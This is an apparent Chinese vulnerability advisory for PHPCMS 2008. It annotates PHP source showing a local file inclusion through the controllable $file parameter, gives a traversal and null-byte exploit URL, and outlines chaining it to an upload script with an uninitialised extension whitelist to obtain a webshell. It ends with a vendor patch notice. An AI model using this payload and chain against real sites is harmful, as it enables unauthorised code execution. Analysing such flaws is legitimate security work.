###文件包含 <?php define('IN_YP', TRUE); define('ADMIN_ROOT', str_replace("\\", '/',dirname(__FILE__)).'/'); require '../include/common.inc.php'; ## 要登陆 if(!$_userid) showmessage('您还没有登陆，即将跳转到登陆页面',$MODULE['member']['url'].'login.php?forward='.urlencode(URL)); session_start(); ## $file变量可控制 if(!isset($file) || empty($file)) $file = 'panel'; /* $company_user_infos 获取企业会员信息 */ $company_user_infos = $db->get_one("SELECT * FROM `".DB_PRE."member_company` WHERE `userid`='$_userid'"); $userid = $_userid; ## 注册的时候选择企业用户 if(!$company_user_infos) { $MS['title'] = '您不是企业会员'; $MS['description'] = '你可以做下面操作'; $MS['urls'][0] = array( 'name'=>'免费升级为企业会员', 'url'=>$PHPCMS['siteurl'].$M['url'].'company.php?action=member', ); $MS['urls'][1] = array( 'name'=>'退出当前帐号，换其他帐号登陆', 'url'=>$PHPCMS['siteurl'].'member/logout.php', ); $MS['urls'][2] = array( 'name'=>'重新注册为企业会员',...
###文件包含 <?php define('IN_YP', TRUE); define('ADMIN_ROOT', str_replace("\\", '/',dirname(__FILE__)).'/'); require '../include/common.inc.php'; ## 要登陆 if(!$_userid) showmessage('您还没有登陆，即将跳转到登陆页面',$MODULE['member']['url'].'login.php?forward='.urlencode(URL)); session_start(); ## $file变量可控制 if(!isset($file) || empty($file)) $file = 'panel'; /* $company_user_infos 获取企业会员信息 */ $company_user_infos = $db->get_one("SELECT * FROM `".DB_PRE."member_company` WHERE `userid`='$_userid'"); $userid = $_userid; ## 注册的时候选择企业用户 if(!$company_user_infos) { $MS['title'] = '您不是企业会员'; $MS['description'] = '你可以做下面操作'; $MS['urls'][0] = array( 'name'=>'免费升级为企业会员', 'url'=>$PHPCMS['siteurl'].$M['url'].'company.php?action=member', ); $MS['urls'][1] = array( 'name'=>'退出当前帐号，换其他帐号登陆', 'url'=>$PHPCMS['siteurl'].'member/logout.php', ); $MS['urls'][2] = array( 'name'=>'重新注册为企业会员', 'url'=>$PHPCMS['siteurl'].'member/logout.php?forward='.urlencode($PHPCMS['siteurl'].'member/register.php'), ); msg($MS); } $CATEGORY = subcat('yp'); $siteurl = company_url($userid, $company_user_infos['sitedomain']); $_SESSION['url'] = QUERY_STRING; if($file != 'company' && $M['enableSecondDomain'] && !$company_user_infos['sitedomain']) showmessage('请先绑定您的二级域名',BUSINESSDIR.'?file=company'); check_priv($file); $GROUP = cache_read('member_group.php'); ## 此处直接包含了，注意$file是可以控制的但须要截断 if(!@include ADMIN_ROOT.$file.'.inc.php') showmessage('The file ./yp/'.$file.'.inc.php is not exists!'); function check_priv($file) { global $M,$PHPCMS,$_groupid; if(!$M["allow_add_$file"]) return true; if(!in_array($_groupid,$M["allow_add_$file"])) { $MS['title'] = '您所在的会员组没有此项操作权限'; $MS['description'] = '你可以做下面操作'; $MS['urls'][0] = array( 'name'=>'升级会员组', 'url'=>$PHPCMS['siteurl'].'member/upgrade.php', ); $MS['urls'][1] = array( 'name'=>'返回商务中心', 'url'=>'?', ); msg($MS); } } ?> ## 利用注册一个企业用户 EXP:http://localhost/phpcms/yp/business/?file=../../xxoo.txt%00. 由于涉及截断，所以鸡肋了，哥是要去拿shell的。 ## 再看这一句 if(!@include ADMIN_ROOT.$file.'.inc.php') showmessage('The file ./yp/'.$file.'.inc.php is not exists!'); 以.inc.php结尾的文件有大把随便找个有漏的文件包含进来，不就能二次利用了？ ## 首先进入视线的是/admin/upload.inc.php 看名字就知道如果能利用的话，将会.....(省略500字) <?php defined('IN_PHPCMS') or exit('Access Denied'); require_once 'attachment.class.php'; $attachment = new attachment($mod); if($catid) { $C = cache_read('category_'.$catid.'.php'); } ## 允许上传的后缀是从$C里取的，变量$C要通过上面那个判断才能赋值，典型的变量未初始化 $upload_allowext = $C['upload_allowext'] ? $C['upload_allowext'] : UPLOAD_ALLOWEXT; $upload_maxsize = $C['upload_maxsize'] ? $C['upload_maxsize'] : UPLOAD_MAXSIZE; if($dosubmit) { $attachment->upload('uploadfile', $upload_allowext, $upload_maxsize, 1); if($attachment->error) showmessage($attachment->error()); //判断是否开启附件ftp上传，返回图片路径 $imgurl = UPLOAD_FTP_ENABLE ? $attachment->uploadedfiles[0]['filepath'] : UPLOAD_URL.$attachment->uploadedfiles[0]['filepath']; $aid = $attachment->uploadedfiles[0]['aid']; $filesize = $attachment->uploadedfiles[0]['filesize']; $filesize = $attachment->size($filesize); if($isthumb || $iswatermark) { require_once 'image.class.php'; $image = new image(); $img = UPLOAD_ROOT.$attachment->uploadedfiles[0]['filepath']; if($isthumb) { $image->thumb($img, $img, $width, $height); } if($iswatermark) { $image->watermark($img, $img, $PHPCMS['watermark_pos'], $PHPCMS['watermark_img'], '', 5, '#ff0000', $PHPCMS['watermark_jpgquality']); } } showmessage("文件上传成功！<script language='javascript'>try{ $(window.opener.document).find(\"form[@name='myform'] #$uploadtext\").val(\"$imgurl\");$(window.opener.document).find(\"form[@name='myform'] #{$uploadtext}_aid\").val(\"$aid\");$(window.opener.document).find(\"form[@name='myform'] #$filesize\").val(\"$filesize\");}catch(e){} window.close();</script>", HTTP_REFERER); } else { include admin_tpl('upload'); } ?> 0 phpcms 2008 厂商补丁： PHPCMS ------- 目前厂商已经提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://www.phpcms.cn/
